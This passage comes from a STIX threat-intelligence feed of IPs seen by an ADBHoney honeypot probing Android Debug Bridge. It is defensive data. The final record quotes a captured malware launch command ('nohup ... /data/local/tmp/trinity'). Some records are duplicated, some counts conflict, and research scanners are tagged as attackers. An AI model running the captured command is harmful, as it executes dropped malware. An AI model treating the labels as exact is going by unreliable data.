        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:00:03.000Z",
      "valid_until": "2026-04-19T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-18T01:18:16.000Z",
          "last_seen": "2026-03-18T01:28:28.199Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T01:17:45.000Z | last_seen=2026-03-18T01:18:46.958Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:00:03.000Z",
      "valid_until": "2026-04-19T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T01:17:45.000Z",
          "last_seen": "2026-03-18T01:18:46.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-18T01:18:16.000Z | last_seen=2026-03-18T01:28:28.199Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--9a992da8-0669-40c0-9ada-304d14552518",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:00:04.000Z",
      "valid_until": "2026-04-19T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-18T01:18:16.000Z",
          "last_seen": "2026-03-18T01:28:28.199Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-18T01:17:45.000Z | last_seen=2026-03-18T01:18:46.958Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c3b15e75-ac0d-4824-b253-187b7735bfec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T02:00:04.000Z",
      "valid_until": "2026-04-19T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-18T01:17:45.000Z",
          "last_seen": "2026-03-18T01:18:46.958Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-18T02:53:28.000Z | last_seen=2026-03-18T03:04:52.016Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:00:04.000Z",
      "valid_until": "2026-04-19T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-18T02:53:28.000Z",
          "last_seen": "2026-03-18T03:04:52.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-18T02:53:28.000Z | last_seen=2026-03-18T03:04:52.016Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--55a96ce6-beee-4af2-9679-a4b95c2d0183",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T03:00:04.000Z",
      "valid_until": "2026-04-19T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-18T02:53:28.000Z",
          "last_seen": "2026-03-18T03:04:52.016Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T03:04:16.000Z | last_seen=2026-03-18T03:14:20.391Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:00:04.000Z",
      "valid_until": "2026-04-19T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T03:04:16.000Z",
          "last_seen": "2026-03-18T03:14:20.391Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T03:04:16.000Z | last_seen=2026-03-18T03:14:34.338Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1f256220-3061-463b-be3a-daf615a5597e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:00:04.000Z",
      "valid_until": "2026-04-19T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T03:04:16.000Z",
          "last_seen": "2026-03-18T03:14:34.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T03:04:16.000Z | last_seen=2026-03-18T03:14:20.391Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--ad49ad89-2c4c-4569-bb70-ca147b12071e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:00:05.000Z",
      "valid_until": "2026-04-19T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T03:04:16.000Z",
          "last_seen": "2026-03-18T03:14:20.391Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T03:04:16.000Z | last_seen=2026-03-18T03:14:34.338Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--1f256220-3061-463b-be3a-daf615a5597e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T04:00:05.000Z",
      "valid_until": "2026-04-19T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T03:04:16.000Z",
          "last_seen": "2026-03-18T03:14:34.338Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-18T04:18:15.000Z | last_seen=2026-03-25T15:19:58.941Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--4060026a-dcd2-4272-9c37-91cf9de79df1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:00:04.000Z",
      "valid_until": "2026-04-19T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-18T04:18:15.000Z",
          "last_seen": "2026-03-25T15:19:58.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T04:18:16.000Z | last_seen=2026-03-18T04:28:22.608Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--6c6a95b1-51c1-4372-ad5c-40e31dde885a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T05:00:04.000Z",
      "valid_until": "2026-04-19T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T04:18:16.000Z",
          "last_seen": "2026-03-18T04:28:22.608Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-18T06:10:46.000Z | last_seen=2026-03-18T06:21:41.778Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--7b928bf4-52dd-4e40-a21d-3ab2cd0c8f82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:00:04.000Z",
      "valid_until": "2026-04-19T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-18T06:10:46.000Z",
          "last_seen": "2026-03-18T06:21:41.778Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-18T06:10:46.000Z | last_seen=2026-03-18T06:21:41.778Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--7b928bf4-52dd-4e40-a21d-3ab2cd0c8f82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T07:00:04.000Z",
      "valid_until": "2026-04-19T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-18T06:10:46.000Z",
          "last_seen": "2026-03-18T06:21:41.778Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T09:34:16.000Z | last_seen=2026-03-18T09:35:37.087Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5c16e395-15fa-4830-9e3c-fdfaa379cba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:00:03.000Z",
      "valid_until": "2026-04-19T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T09:34:16.000Z",
          "last_seen": "2026-03-18T09:35:37.087Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-18T09:34:16.000Z | last_seen=2026-03-18T09:35:37.087Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5c16e395-15fa-4830-9e3c-fdfaa379cba7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T10:00:03.000Z",
      "valid_until": "2026-04-19T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-18T09:34:16.000Z",
          "last_seen": "2026-03-18T09:35:37.087Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-18T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=63; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=63 | first_seen=2026-03-18T12:43:13.000Z | last_seen=2026-03-18T12:55:22.831Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a2b2e9ef-99b8-46e4-a366-1580df5984c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '113.252.213.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-18T13:00:04.000Z",
      "valid_until": "2026-04-19T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
